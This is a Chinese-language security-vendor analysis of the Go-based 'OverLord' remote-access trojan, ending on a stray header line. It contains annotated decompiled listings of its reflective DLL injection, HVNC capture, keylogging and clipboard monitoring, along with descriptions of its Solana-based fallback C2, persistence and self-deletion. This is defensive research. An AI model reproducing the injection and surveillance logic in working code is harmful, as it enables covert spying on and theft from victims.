隐蔽驻留 无痕执行│OverLord远控木马技术分析

近日，火绒安全实验室发现一个由 64 位 Go 语言编写的远程控制客户端。此类远程控制木马通常伪装成系统工具、游戏辅助、软件破解补丁等形式，通过非官方下载站点、钓鱼邮件附件、社群分享的恶意压缩包等渠道传播，普通用户在下载来路不明的程序、解压陌生资源并点击运行后，就可能被植入该远控程序。

该程序以单实例门控机制及 OVERLORD_* 系列环境变量驱动运行，目标是在受控主机上建立长期驻留与远程控制。鉴于大量环境变量以“OVERLORD”为前缀，研究人员将其命名为“OverLord”远控。该远控程序通过 WSS（WebSocket Secure）控制通道接收并分发命令；采用 HVNC 与反射 DLL 注入技术实现隐蔽执行；具备屏幕捕获、键盘与剪贴板监控、音频与摄像头探测以及主机发现等高价值情报收集能力。此外，样本中保留了从 Solana 交易备忘录中解析备用 C2 地址的条件分支，通过 Run 键与启动文件夹实现持久化，并具备批处理自删除功能。该样本主要针对单台主机实施定向监视与持久控制。除远程任务执行外，样本还集成多种信息收集与控制模块，包括屏幕与媒体采集、键盘输入监控、剪贴板数据获取、主机信息探测、代理转发以及调试环境检测等功能。通过上述模块组合，样本可完成从驻留建立、通信控制到主机监控和远程操作的完整攻击流程，具备典型远程控制木马的行为特征。

主机一旦感染该远控木马，将面临多重风险：攻击者可通过屏幕捕获、键盘输入监控、剪贴板读取等功能，窃取用户的账号密码、办公文档、聊天记录、支付验证信息等核心隐私数据；摄像头与音频探测能力可直接窥探用户私密场景，造成持续性隐私泄露；针对 Solana 交易备忘录的备用 C2 设计，显示该木马对加密货币用户存在定向攻击倾向，用户数字资产面临被盗风险；同时木马通过注册表与启动文件夹实现持久潜伏，且具备自删除能力可销毁攻击痕迹，普通用户难以发现和清除，长期受控下还可能被进一步植入勒索病毒、挖矿程序等其他恶意载荷，对个人信息安全、财产安全乃至企业终端安全都构成严重威胁。

目前，火绒安全产品已经实现对该木马的拦截与查杀。

整体攻击流程如下图所示：

该样本是具备隐蔽控制与信息收集能力的远程控制木马，核心功能模块采用内存加载执行，不在磁盘留存载荷文件，涵盖功能包括屏幕监控、键盘及剪贴板监视、麦克风监听与摄像头拍摄。进程层面，样本通过反射注入将C2下发的DLL载荷注入指定宿主进程，内置候选宿主包括chrome、msedge、firefox、opera等浏览器进程，提升进程层级隐蔽性。网络通信方面，样本尝试连接多个候选控制端，防止单一地址失效；通信采用WSS/TLS加密传输、自定义MessagePack消息协议传输数据，协议回执机制与代码注入路径相互独立。该样本屏幕监控功能依托HVNC技术实现，该技术利用Windows系统特性创建“虚拟桌面”，使攻击者操作与用户桌面隔离，不干扰用户正常交互即可执行远程指令，属于典型隐蔽型信息窃取后门。

表 1-1：样本基础信息

样本运行后首先执行环境初始化，通过互斥体 OVERLORD_MUTEX 检测当前主机是否已存在运行实例，从而避免重复运行多个实例。随后加载通信配置，尝试连接多个候选 C2 节点，并记录连接状态。成功建立通信后，样本通过自定义协议完成握手，并持续接收 C2 下发的任务指令。

然后样本根据 commandType 对任务进行分类处理，并调用对应功能模块执行操作。其行为包括加载远程组件、执行内存加载、获取主机环境信息、键盘记录、剪贴板监控、屏幕采集以及远程控制等。执行结果通过 command_result 消息返回 C2，实现指令下发与结果回传闭环。整体行为表现为：启动初始化 → 环境检测 → C2 建联 → 接收远程任务 → 执行主机控制与信息收集 → 回传执行结果，具备典型远控类恶意程序的行为特征。如图1-1所示：

样本在启动期通过全局命名互斥体实现单实例门控，并从OVERLORD_*进程环境变量读取服务器地址、认证令牌、TLS 与重连策略。单实例检查、环境变量驱动的配置面，以及二进制内与持久化、自删相关的字符串，构成启动阶段的可核验对象。

启动阶段先处理单实例状态，再读取会话配置。默认互斥体已存在时新实例结束;当OVERLORD_MUTEX=none或disabled可跳过检查（详情见表 2-1）。

表 2-1：单实例检查与环境变量覆盖

除了对互斥体进行检查外，该样本内置了丰富的环境变量配置，包括连接目标、通信认证设置、WSS通信配置及心跳相关配置，在启动后也会在进程内读取相关配置（详见附表2-2）。

表2-2：运行时环境变量配置

接下来，样本将读取持久化门控变量"OVERLORD_ENABLE_PERSISTENCE"（其取值可为true、1、yes、y），并结合C2下发的agent_update（对应处理函数runAgentUpdate）与uninstall（对应removePersistence）命令，具备写入注册表Run键与启动文件夹的持久化能力。在静态分析中，相关路径字符串将通过writeDeferredUpdateBatch函数实现自我删除（详见附表2-3）。

表2-3：启动项与自删命令字符串

当样本在完成相关准备阶段后，则开始构建通往 C2 服务器的 WSS隧道。该样本首先解析预设的 C2 地址列表，随后发起 WSS 握手请求，并在WSS握手阶段注入特定的认证头信息，以完成身份校验并建立加密通信链路。连接建立后，由服务端先行发送 hello_ack 消息，样本收到后回复携带 id、hwid、host、os、arch、version 等字段的 hello 消息（对应记录 6-1 首两行）；此后会话中周期性出现 ping（仅含 type、ts 键）与 frame（仅含 type、header、data 键）消息，命令执行完毕后返回 command_result 回执。如下图3-1所示：

通信过程的WebSocket载荷按MessagePack二进制序列化格式封包，外层消息以type字段识别类别，命令消息由commandType字段选择具体分支。hvnc_start_process_injected命令在通用HandleCommand函数（VA 0x1403809a0）内匹配commandType，构造handleCommand闭包，经goSafe分发至独立goroutine执行，随后调用StartHVNCProcessInjected。HandleCommand函数体（0x1403809a0–0x14038e03d）包含匹配、闭包构造与分发流程。后续处理远程下发内容，仍以type识别信封类别、commandType选择命令分支，ok=true为协议回执字段，wire.Message为消息对象、commandType为命令分类，结果如下图3-2所示：

为防止C2服务器被轻易阻断，样本内置了基于Solana区块链的备用服务器发现机制。该机制首先对地址、认证材料及RPC列表进行校验，随后读取签名并解密Memo，仅当URL列表非空时返回结果。代码清单1展示了从Solana交易Memo中解析备用服务器URL的完整逻辑。该路径使用getSignaturesForAddress和getTransaction两种JSON-RPC方法，样本内硬编码的 Memo 程序地址常量为 MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr。认证令牌的SHA-256值被用作AES解密密钥。

代码清单 1：备用服务器配置解析逻辑

由代码清单1-2可见，getSignaturesForAddress、getTransaction（底层JSON-RPC方法，封装于getMemoFromTransaction）与parseMemoURLs共同构成条件性RPC/Memo路径，作为备用C2服务器地址解析通道；该通道启用依赖完整输入参数（包括地址、令牌及RPC列表）以及链上可解密的Memo，整体逻辑如图3-2所示。

当前样本通信控制系统采用加密WebSocket连接下发指令，“签收”与“执行”为异步执行机制。客户端按命令类型分发至对应处理入口，包括直接操控目标主机、实施隐蔽交互、转发网络流量、执行扩展模块；针对hvnc_start_process_injected这类进程注入命令，先由HandleCommand解析结构，再交由StartHVNCProcessInjected实际处理。协议回执通道仅反馈控制端“命令已接收”，命令处理通道完成目标机器创建进程、写入内存、启动线程等操作。日志中command_result字段ok=true仅表示协议层面确认，即数据包格式正确且已送达对应处理入口。

// 程序: a2b5e25c_binary.exe
// 函数: overlord-client/cmd/agent/handlers.HandleCommand.func12（VA 0x14038f5e0）
// 作用: 从命令结构读取路径、字节数据和参数，并交给 StartHVNCProcessInjected。
// 说明: 反编译原始输出。
void overlord_client_cmd_agent_handlers_HandleCommand_func12(void)
{
  // 局部变量与调用约定相关寄存器/栈槽声明
  undefined8 uVar1;
  undefined8 uVar2;
  undefined8 extraout_RCX;
  int unaff_RDX;
  int extraout_RBX;
  int unaff_R14;
  undefined8 local_60;
  runtime__type *local_58 [2];
  undefined8 local_48;
  undefined8 uStack_40;
  code *local_38;
  char *local_30;
  undefined8 local_28;
  runtime__type **local_20;
  undefined8 local_18;
  undefined8 local_10;

  // Go 运行时栈扩容检查
  while (&local_60 <= *(undefined8 **)(unaff_R14 + 0x10)) {
    runtime_morestack();
  }
  // 从命令结构偏移 0x08/0x10 读取首个字符串字段（路径及其长度）
  uVar1 = *(undefined8 *)(unaff_RDX + 8);
  uVar2 = *(undefined8 *)(unaff_RDX + 0x10);
  // 将命令结构中的 13 个字段作为参数传给 StartHVNCProcessInjected
  overlord_client_cmd_agent_capture_StartHVNCProcessInjected
            (uVar1,uVar2,*(undefined8 *)(unaff_RDX + 0x18),*(undefined8 *)(unaff_RDX + 0x20),
             *(undefined8 *)(unaff_RDX + 0x28),*(undefined8 *)(unaff_RDX + 0x30),
             *(undefined8 *)(unaff_RDX + 0x38),*(undefined8 *)(unaff_RDX + 0x40),
             *(undefined8 *)(unaff_RDX + 0x68),*(undefined8 *)(unaff_RDX + 0x48),
             *(undefined8 *)(unaff_RDX + 0x50),*(undefined8 *)(unaff_RDX + 0x58),
             *(undefined8 *)(unaff_RDX + 0x60));
  // 若调用返回错误对象，则构造日志输出
  if (extraout_RBX != 0) {
    local_60 = extraout_RCX;
    // 将路径字符串转换为接口类型值，用于日志格式化
    runtime_convTstring(uVar1,uVar2);
    local_58[0] = &datatype_String_string;
    // 处理错误对象：为空则长度置 0，否则取错误消息字符串
    if (extraout_RBX == 0) {
      local_48 = 0;
    }
    else {
      local_48 = *(undefined8 *)(extraout_RBX + 8);
    }
    uStack_40 = local_60;
    // 构造日志条目并输出："hvnc: injected process failed for %q: %v"
    local_38 = overlord_client_cmd_agent_handlers_HandleCommand_func12_Printf_1;
    local_28 = 0x28;
    local_30 = "hvnc: injected process failed for %q: %v";
    local_18 = 2;
    local_10 = 2;
    local_20 = local_58;
    log___Logger__output(log_std,0,2,&local_38);
  }
  return;
}

代码清单 2：隐藏虚拟网络桌面注入任务的命令结构解包与调用

整体命令分发详情建图4-1所示：

该远控木马具备多样化功能模块，涵盖终端操作、隐蔽通信、网络代理及插件分发执行，实现依赖内置多种指令类型，通过指令分发执行系统完成操作；耗时较长的任务置于goroutine闭包异步执行，避免阻塞主线程，耗时较短的操作直接同步调用，相关内容详见表4-1：

表 4-1：任务标签所指向的对象

silent_exec 指令对应 startSilentProcess 函数的指令分发入口，该函数实现了窗口隐藏、无控制台、输入输出重定向至 NUL，并依据文件扩展名自动选用 cmd.exe 或 PowerShell。notification_config 对应 HandleNotificationConfig 函数的实现，该函数负责读取三个配置字段：关键词列表（keywords）、最小通知间隔（minIntervalMs）、剪贴板监控开关（clipboardEnabled），用于设置通知功能的运行时参数，本身不直接执行关键词匹配检测逻辑。实际的剪贴板内容与活动窗口标题匹配检测由独立逻辑周期执行，匹配结果通过 wire.Notification 回传至远程服务端。

HVNC链在隐藏桌面状态下，经由任务门控进入后续的进程创建与反射加载环节。InitializeHVNCDesktop（虚拟地址 0x14032d3a0）负责写入 hvncDesktopHandle；ensureHVNCThread 函数在校验句柄时，若其值为零则返回“hvnc desktop not initialized”，仅在句柄有效时允许将注入任务提交至工作线程执行。

代码清单 3：隐藏桌面初始化关键逻辑摘录

通过代码清单 3 显示桌面创建失败时直接返回，不会写入 hvncDesktopHandle；这是后续注入任务被门控拒绝的静态依据。在未调试的受控本地流程中，进程入口前挂接的桌面 API 探针观察到 OpenDesktopW('OverlordHiddenDesktop') 返回 0x0，随后 CreateDesktopW('OverlordHiddenDesktop') 返回有效句柄 标识0x3c4。详情见5-1流程跟踪记录：

记录 5-1：流程跟踪记录

HVNC 代码在隐藏桌面句柄生效后，依次创建挂起进程、向目标进程注入 DLL，并从 ReflectiveLoader 偏移处启动远程线程。createSuspendedProcessOnDesktop（VA 0x1403245c0）利用隐藏桌面名称构建 STARTUPINFO.lpDesktop，并以 0x404（CREATE_SUSPENDED 与 Unicode 环境标志）调用 CreateProcessW，令目标主线程暂不运行。

// 程序: a2b5e25c_binary.exe
// 函数: overlord-client/cmd/agent/capture.reflectiveInject（VA 0x1403260a0）
// 作用: 将 DLL 写入目标进程并从 ReflectiveLoader 偏移启动远程线程。
// 说明: 反编译原始输出。
// hProcess 为目标进程句柄，dllBytes/dllLen 为 DLL 字节与长度，cap 为上下文对象
void overlord_client_cmd_agent_capture_reflectiveInject(undefined8 hProcess,undefined8 dllBytes,int dllLen,undefined8 cap)
{
  // 步骤 1：在 DLL 字节中定位 ReflectiveLoader 导出偏移
  overlord_client_cmd_agent_capture_findReflectiveLoaderOffset(dllBytes,dllLen,cap);
  if (err != nil) { fmt_errorf("failed to find ReflectiveLoader: %v",0x23,...); return; }
  log("hvnc inject: ReflectiveLoader at offset 0x%x");
  // 步骤 2：在目标进程中分配可执行读写内存（MEM_COMMIT|MEM_RESERVE=0x3000，PAGE_EXECUTE_READWRITE=0x40）
  syscall___LazyProc__Call(procVirtualAllocEx, hProcess, 0, dllLen, 0x3000, 0x40);
  if (alloc == 0) { fmt_errorf("VirtualAllocEx failed",0x15,...); return; }
  // 步骤 3：将 DLL 完整写入目标进程分配的内存
  syscall___LazyProc__Call(procWriteProcessMemory, hProcess, alloc, dllBytes, dllLen, &written);
  if (!ok) { fmt_errorf("WriteProcessMemory failed",0x19,...); return; }
  // 步骤 4：在 alloc+offset 处创建远程线程，启动 ReflectiveLoader
  syscall___LazyProc__Call(procCreateRemoteThread, hProcess, 0, 0x100000, alloc+offset, NULL, &tid);
  if (thread == 0) { fmt_errorf("CreateRemoteThread failed",0x19,...); return; }
  // 步骤 5：无限等待远程 Loader 线程结束
  syscall___LazyProc__Call(procWaitForSingleObject, thread, 0xffffffff);
  // 步骤 6：读取远程线程退出码
  syscall___LazyProc__Call(procGetExitCodeThread, thread, &exitCode);
  log("hvnc inject: remote loader thread finished wait=0x%x exit=%s");
  // 步骤 7：关闭远程线程句柄
  syscall___LazyProc__Call(procCloseHandle, thread);
  // 步骤 8：退出码大于等于 0xC0000000 表示 NT 状态错误，注入失败
  if (exitCode >= 0xC0000000) { fmt_errorf("remote loader thread failed: %s",0x1f,...); }
  return;
}

代码清单 4：reflectiveInject 关键 API 序列

如代码清单 4 所示，注入所使用的 Win32 API 并非通过静态导入表，而是在运行时借助golang.org/x/sys/windows.LazyProc 动态解析。remoteGetProcAddress（VA 0x140327fa0）依据 DLL 名称与函数名称，通过 LoadLibraryW+GetProcAddress+getRemoteModuleBase 获取任意 API 地址，并供 procVirtualAllocEx/procWriteProcessMemory/procCreateRemoteThread 等封装函数调用的 VirtualAllocEx、WriteProcessMemory、CreateRemoteThread 实现反射注入。

hvnc_start_process_injected 命令由 HandleCommand.func12（VA 0x14038f5e0）负责处理，它从命令结构中获取字节指针 rcx=[rdx+0x18] 与长度 rdi=[rdx+0x20]，随后调用 StartHVNCProcessInjected（VA 0x14031b240）。StartHVNCProcessInjected 将参数传递给工作线程 startHVNCProcessInjectedOnThread（VA 0x1403222a0），该线程借助 createDLLSharedMemory 创建共享内存、生成挂起进程并执行 “反射注入”。

// 程序: a2b5e25c_binary.exe
// 函数: overlord-client/cmd/agent/capture.startHVNCProcessInjectedOnThread（VA 0x1403222a0）
// 作用: 创建挂起进程、建立 DLL 共享内存、调用反射注入并恢复线程。
// 说明: 反编译原始输出。
// exePath/exeLen 为待启动宿主路径；dllName/dllLen 为 DLL 字节；cap 为上下文对象
void overlord_client_cmd_agent_capture_startHVNCProcessInjectedOnThread(
    string exePath, int exeLen, string dllName, int dllLen, uintptr cap, ...,
    int monitorIdx, ..., bool injectGPUChild, ...)
{
  // 输入校验：宿主路径为空则直接返回
  if (exeLen == 0) { fmt_errorf("empty file path",0xf,...); return; }
  // 输入校验：DLL 字节为空则无法注入
  if (dllLen == 0) { fmt_errorf("empty DLL bytes",0xf,...); return; }
  // 创建 DLL 共享内存映射，供后续跨进程读取
  overlord_client_cmd_agent_capture_createDLLSharedMemory(dllName, dllLen, cap);
  if (err) { fmt_errorf("failed to create DLL shared memory: %v",0x26,...); return; }
  log("hvnc inject: DLL shared memory created as %s (%d bytes)");
  // 提升当前进程令牌调试权限，便于跨进程操作
  overlord_client_cmd_agent_capture_enableDebugPrivilege();
  // 在隐藏桌面上创建挂起状态的宿主进程
  overlord_client_cmd_agent_capture_createSuspendedProcessOnDesktop(exePath, exeLen, ...);
  if (err) { CloseHandle(hProcess); fmt_errorf("failed to create suspended process: %v",0x26,...); return; }
  log("hvnc inject: created suspended process PID %d");
  // 对挂起进程执行反射 DLL 注入
  overlord_client_cmd_agent_capture_reflectiveInject(hProcess, dllBytes, dllLen, cap);
  if (err) {
    // 注入失败则关闭句柄并终止目标进程
    CloseHandle(hProcess); CloseHandle(hThread);
    TerminateProcess(hProcess, 1);
    CloseHandle(hProcess);
    fmt_errorf("DLL injection failed: %v",0x18,...); return;
  }
  log("hvnc inject: DLL injected into PID %d");
  CloseHandle(hProcess); CloseHandle(hThread);
  // 注入成功后恢复目标进程主线程执行
  syscall___LazyProc__Call(procResumeThread, hThread);
  if (result == -1) { CloseHandle(hThread); fmt_errorf("failed to resume thread",0x17,...); return; }
  CloseHandle(hThread);
  log("hvnc inject: process PID %d resumed with DLL hooks active");
  // 若命令要求，可选启动 GPU 子进程注入分支（hvncDeferredGPUInject @ 0x140322f40）
  if (injectGPUChild) {
    if (hvncDXGIEnabled == 0) {
      log("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process");
    } else {
      // 启动独立 goroutine 执行 GPU 子进程注入：等待浏览器拉起 GPU 子进程，
      // 循环 15×（2s 休眠）经 findGPUChildProcess 定位，OpenProcess(0x43A) 打开后注入同一 DLL
      runtime_newproc(closure);
    }
  }
}

代码清单 5：BackstageCapture注入工作线程关键逻辑

如代码清单5所示：BackstageCapture相关DLL从命令结构出发，经共享内存、挂起进程至反射注入，构成完整静态交接路径。其中injectGPUChild分支对应hvncDeferredGPUInject（VA 0x140322f40）：先等待约4秒确保浏览器启动GPU子进程，随后以2秒为间隔，最多循环15次，通过findGPUChildProcess定位GPU子进程，调用OpenProcess以0x43A打开该进程，注入同一BackstageCapture DLL并记录进程标识符。该机制确保隐藏桌面的GPU子进程可纳入捕获路径。

该样本具备屏幕捕获、键盘与剪贴板监控、音频与摄像头探测，以及进程枚举与反调试等主机信息采集能力；其中，屏幕捕获与编码、键盘与剪贴板监控、音视频探测以及进程枚举共同构成了对受害者的监视能力。

功能启动之后会先检测当前显示器数量，并且在日志中打印 capture: detected 1 monitor(s)、clipboard: starting monitor 与 activewindow: starting monitor等日志。图 6-2 所示：

随后将执行相应功能，并通过网络协议传输执行结果。具体指令下发与客户端反馈的对应关系详见记录6-1：

2026-07-29 12:43:44,607 [INFO] server-first hello_ack sent
2026-07-29 12:43:44,613 [INFO] CLIENT type=hello keys=['type', 'id', 'hwid', 'host', 'os', 'arch', 'hostArch', 'version']
2026-07-29 12:43:45,112 [INFO] >>> FIRST hvnc_start_process_injected cmd-inj-1 dispatched
2026-07-29 12:43:45,117 [INFO] CLIENT type=ping keys=['type', 'ts']
2026-07-29 12:43:45,255 [INFO] CLIENT type=frame keys=['type', 'header', 'data']
2026-07-29 12:43:45,256 [INFO] CLIENT type=command_result keys=['type', 'ok']
2026-07-29 12:43:45,257 [INFO] RESULT_FULL: {'type': 'command_result', 'ok': True}

记录 6-1：交互消息摘录中的 frame 协议消息

从记录6-1响应信息可见，该程序会监视显示器，获取并上传包含主机、系统、架构、版本等字段的信息，随后调用captureAndSendHVNC函数完成图像捕获与帧构建，其发送流程分两支：同时启用H.264编码与WebRTC时调用webrtcpub_WriteH264函数，否则调用wire_WriteMsg函数，具体实现见代码清单6。

// 程序: a2b5e25c_binary.exe
// 函数: capture.captureAndSendHVNC（VA 0x140340780）
// 作用: 获取 HVNC 图像、构建帧，并按 H.264/WebRTC 或线协议分支发送。
// 说明: 反编译原始输出。
// conn 为 WSS 连接对象，ctx 为上下文，cfg 携带显示索引等捕获配置
void captureAndSendHVNC(int conn, undefined8 ctx, int cfg)
{
  // 读取目标显示器索引
  displayIdx = cfg.displayIndex;
  // 索引越界时回退到 0 号显示器
  if(displayIdx<0 || displayIdx>=displayCount()){
    log("hvnc capture: requested display %d out of range, defaulting to 0");
    displayIdx=0;
  }
  time_Now(); // 记录捕获开始时间
  // 捕获指定隐藏桌面显示器图像
  safeBackstageCaptureDisplay(displayIdx);
  // 捕获失败则发送黑帧并返回
  if(err){ log("capture failed: %v (sending black frame)"); sendBlackFrameHVNC(conn,ctx,cfg); return; }
  // 图像为空时也发送黑帧
  if(image==nil){ log("nil image (sending black frame)"); sendBlackFrameHVNC(conn,ctx,cfg); return; }
  captureLatency = time_Since(captureStart);
  // 获取当前配置的编码器名称
  blockCodec();
  // 判断编码器是否为 h264
  isH264 = (codecLen==4 && codec=="h264");
  // 仅在 h264 且 WebRTC 通道已激活时走 WebRTC 路径
  webrtcActive = isH264 && webrtcpub_IsActive("hvnc",4);
  // 非 WebRTC 路径下获取帧发送槽位，用于并发控制
  if(!webrtcActive){ AcquireFrameSlot(); if(!acquired) return; }
  // 设置 JPEG 质量参数
  jpegQuality();
  // 构建 HVNC 帧（含头部与图像数据）
  buildFrameHVNC(image, displayIdx, ...);
  // 帧构建失败时释放槽位并返回
  if(err){ if(!webrtcActive) ReleaseFrameSlot(); return; }
  // 计算当前帧率，至少为 1
  fps = frameFPS(...); if(fps<1) fps=1;
  // 检查底层连接是否仍存活
  if(conn.WriteMsg(ctx)!=0){ if(!webrtcActive) ReleaseFrameSlot(); return; }
  // 分支 A：H.264 + WebRTC 活跃时通过 WebRTC 发送
  if(isH264 && webrtcActive){
    // 将 fps 转换为单帧持续时长（纳秒），默认 33ms
    frameDur = 1000000000/fps; if(frameDur<1) frameDur=33000000;
    // 向 WebRTC 发布 H.264 帧数据
    webrtcpub_WriteH264("hvnc",4,frameData,frameLen,frameDur);
    if(err) log("webrtc: write hvnc h264 failed: %v");
    if(!initWebrtcActive) ReleaseFrameSlot();
    return;
  }
  // 分支 B：通过内部线协议发送帧
  if(initWebrtcActive && !AcquireFrameSlot()) return;
  time_Now(); // 记录发送开始时间
  // 写入 wire_Frame 消息体
  wire_WriteMsg(conn,ctx,..., &wire_Frame, frameData);
  sendLatency = time_Since(sendStart);
  // 发送出错时释放槽位
  if(err) ReleaseFrameSlot();
  // 满足日志条件时输出捕获/编码/发送耗时
  if(shouldLogFrame(...)) log("hvnc: display=%d fps=%d codec=%s size=%d cap=%v enc=%v send=%v total=%v");
}

代码清单 6：隐藏虚拟网络桌面帧构建与发送分支关键逻辑

NVENC是NVIDIA GPU集成的专用硬件视频编码模块，可将原始视频流压缩为H.264、H.265或AV1等格式，依托GPU完成视频编码与串流，避免占用CPU导致卡顿暴露。代码清单7明确了D3D11与NVENC初始化的关键调用顺序。编码启动时，样本配置帧率、码率、关键帧策略，以低延迟编码模式持续生成视频数据。详情见代码清单-7所示：

// 程序: a2b5e25c_binary.exe
// 函数: capture.nvenc_create_d3d11_encoder（VA 0x1404295a0）
// 作用: 创建 D3D11 设备、初始化 NVENC H.264 会话并准备输入/输出资源。
// 说明: 各编码参数的写址与取值见下方逐字段注释。
// 输入：编码宽度、高度、帧率、码率
nvenc_d3d11_create_result nvenc_create_d3d11_encoder(int width, int height, int fps, int bitrate)
{
  // 校验输入尺寸必须为正且为偶数，帧率必须为正
  if(width<1||height<1||(width&height)&1||fps<1) return error("invalid dimensions");
  // 分配编码器上下文结构体
  enc = calloc(1, sizeof(nvenc_d3d11_encoder));
  enc->width = width; enc->height = height; enc->fps = fps; enc->bitrate = bitrate;
  // 定义 D3D11 特性等级，优先硬件加速
  D3D_FEATURE_LEVEL levels[4] = {D3D_FEATURE_LEVEL_11_1, D3D_FEATURE_LEVEL_11_0,
                                  D3D_FEATURE_LEVEL_10_1, D3D_FEATURE_LEVEL_10_0};
  // 创建 D3D11 硬件设备与立即上下文
  hr = D3D11CreateDevice(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, levels, 4,
                         D3D11_SDK_VERSION, &device, &got_level, &context);
  if(FAILED(hr)) return error("D3D11CreateDevice failed");
  // 加载 NVIDIA 视频编码 API 库
  hNvEnc = LoadLibraryA("nvEncodeAPI64.dll");
  if(hNvEnc==0) return error(HRESULT_FROM_WIN32(GetLastError()));
  // 获取 NvEncodeAPICreateInstance 入口
  createFn = GetProcAddress(hNvEnc, "NvEncodeAPICreateInstance");
  if(createFn==NULL) return error(HRESULT_FROM_WIN32(GetLastError()));
  // 设置打开编码会话扩展参数版本
  enc->params.version = NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS_VER;
  // 创建 NVENC API 实例
  status = createFn(&enc->params);
  if(status!=0) return error("API create instance failed");
  // 清零并填充会话打开参数，设备类型指定为 DirectX
  memset(&open_params, 0, sizeof(open_params));
  open_params.version = 0x7001000d; open_params.apiVersion = 0xd;
  open_params.device = device; open_params.deviceType = NV_ENC_DEVICE_DIRECTX;
  // 使用 D3D11 设备打开编码会话
  status = enc->fnOpenEncodeSessionEx(device, ..., &open_params);
  if(status!=0) return error("open session failed");
  // 获取 H.264 + P1 低延迟预设配置
  memset(&preset, 0, sizeof(preset));
  preset.version = 0xf005000d; preset.presetCfg.version = 0xf009000d;
  status = enc->fnGetEncodePresetConfigEx(NV_ENC_CODEC_H264_GUID, NV_ENC_PRESET_P1_GUID, 3);
  if(status!=0) return error("get preset failed");
  // 填充编码初始化参数（版本号由结构体常量给出）
  init.version = 0x6bc82762f007000d;
  init.encodeGUID = NV_ENC_CODEC_H264_GUID;
  init.presetGUID = NV_ENC_PRESET_P1_GUID;
  init.encodeWidth = width; init.encodeHeight = height;
  init.darWidth = width; init.darHeight = height;
  // 0x140429922 / 0x14042992A：frameRateNum / frameRateDen 写入 fps / 1
  init.frameRateNum = fps; init.frameRateDen = 1;
  init.enableEncodeAsync = 0; init.enablePTD = 1;
  // 配置码率控制：CBR 模式
  rc = preset.presetCfg.rcParams;
  // 0x140429806 / 0x14042980D：averageBitRate / maxBitRate 写入 bitrate 原值
  rc.rateControlMode = NV_ENC_PARAMS_RC_CBR; rc.averageBitRate = bitrate;
  // 0x14042984F：单条 64 位写入，低 32 位为 gopLength=0xFFFFFFFF（-1，无限 GOP），高 32 位为 // frameIntervalP=1
  rc.maxBitRate = bitrate; rc.gopLength = 0xFFFFFFFF;
  init.rcParams = rc;
  // 初始化编码器
  status = enc->fnInitializeEncoder(&init, ...);
  if(status!=0) return error("init encoder failed");
  // 将 D3D11 纹理注册为 NVENC 输入资源（NV12 格式）
  memset(&reg, 0, sizeof(reg));
  reg.version = 0x7005000d; reg.width = width; reg.height = height;
  reg.resourceToRegister = texture; reg.resourceType = NV_ENC_INPUT_RESOURCE_TYPE_DIRECTX;
  reg.bufferFormat = NV_ENC_BUFFER_FORMAT_NV12;
  status = enc->fnRegisterResource(&reg);
  if(status!=0) return error("register resource failed");
  // 创建编码输出码流缓冲区
  memset(&bs, 0, sizeof(bs));
  bs.version = 0x7001000d;
  status = enc->fnCreateBitstreamBuffer(&bs);
  if(status!=0) return error("create bitstream buffer failed");
  // 保存注册资源与码流缓冲区句柄到编码器上下文
  enc->registeredResource = reg.registeredResource;
  enc->bitstreamBuffer = bs.bitstreamBuffer;
  return ok(enc);
}

代码清单 7：NVENC H.264 初始化关键调用顺序

键盘记录功能由keylogger模块处理，包含keylog_file_list、keylog_file_content、keylog_clear_result等子函数。当handlers.HandleKeylogList接收到指令后，先调用Keylogger.FlushNow把缓冲区内容写入磁盘，再通过Keylogger.ListFiles枚举本地记录文件，最终以type=keylog_file_list类型返回数据，代码清单8展示了该指令处理的关键逻辑分支；该功能还受编译开关控制，对应说明在keylogger_disabled.go文件中。此外键盘记录轮询依赖GetKeyState、ToUnicodeEx等多个系统接口，能够获取当前窗口标题并记录按键状态。

// 程序: a2b5e25c_binary.exe
// 函数: handlers.HandleKeylogList（VA 0x1403a8b60）
// 作用: 收到 keylog 命令后触发 FlushNow 并枚举本地按键记录文件。
// 说明: 反编译原始输出，保留关键调用与返回路径。
void overlord_client_cmd_agent_handlers_HandleKeylogList(...)
{
  // keylogger.go:127 — Keylogger 实例已初始化
  if (keylogger_initialized) {
    // keylogger.go:136 — 强制落盘当前缓冲区
    Keylogger__FlushNow(ctx);
    // keylogger.go:138 — 枚举按键记录文件
    Keylogger__ListFiles(ctx);
    // keylogger.go:139 — 构造 {name, size, date} 响应数组
    if (file_handle_ok) {
      runtime_makeslice(map_string_interface,count,count);
      // 为每个文件填充 name/size/date 字段
      populate_file_metadata(...);
      runtime_mapassign_faststr(...,"type",4);
      runtime_mapassign_faststr(...,"files",5);
      send_command_result(...);
      return;
    }
  }
  // keylogger.go:128 — 未启用或出错时返回结果
  runtime_mapassign_faststr(...,"type",4);
  send_command_result(...);
}

代码清单 8：键盘记录命令处理与文件枚举关键分支

代码清单8显示，剪贴板监控函数activewindow.StartClipboard每隔2秒执行一次监视。代码清单9显示，该函数输出clipboard: starting monitor后进入select循环，当ticker触发时，会依次判断Env.GetClipboardEnabled与Env.GetNotificationKeywords，只有在同时满足剪贴板同步开启和配置了关键词的情况下，才会执行读取和通知分支，handlers.clipboardSyncRead和clipboardSyncWrite分别通过OpenClipboard/GetClipboardData和EmptyClipboard/SetClipboardData实现双向读写。

// 程序: a2b5e25c_binary.exe
// 函数: activewindow.StartClipboard（VA 0x14030a3a0）
// 作用: 以固定周期监控剪贴板，并依据配置决定是否发送通知。
// 说明: 反编译原始输出，保留循环入口与门控检查。
void overlord_client_cmd_agent_activewindow_StartClipboard(...)
{
  // clipboard_windows.go:31 — 环境对象为空直接返回
  if (env == 0) return;
  // clipboard_windows.go:34 — 输出启动日志
  log_output("clipboard: starting monitor");
  // clipboard_windows.go:35/37 — 注册 defer 并创建 2 秒 ticker
  register_defer(StartClipboard_deferwrap1);
  time_NewTicker(2000000000);
  do {
    do {
      // clipboard_windows.go:45 — 等待 ticker 或取消
      runtime_selectgo(...,2,1);
      // clipboard_windows.go:46 — 取消时清理退出
      if (cancelled) { defer_cleanup(); return; }
      // clipboard_windows.go:48/49 — 启用且有配置才继续
      Env_GetClipboardEnabled(env);
    } while (!enabled || (Env_GetNotificationKeywords(env), keyword_count == 0));
    // clipboard_windows.go:51/55 — 获取最小间隔后读取/比对
    Env_GetNotificationMinIntervalMs(env);
  } while( true );
}

代码清单 9：剪贴板监控循环与门控条件

// 程序: a2b5e25c_binary.exe
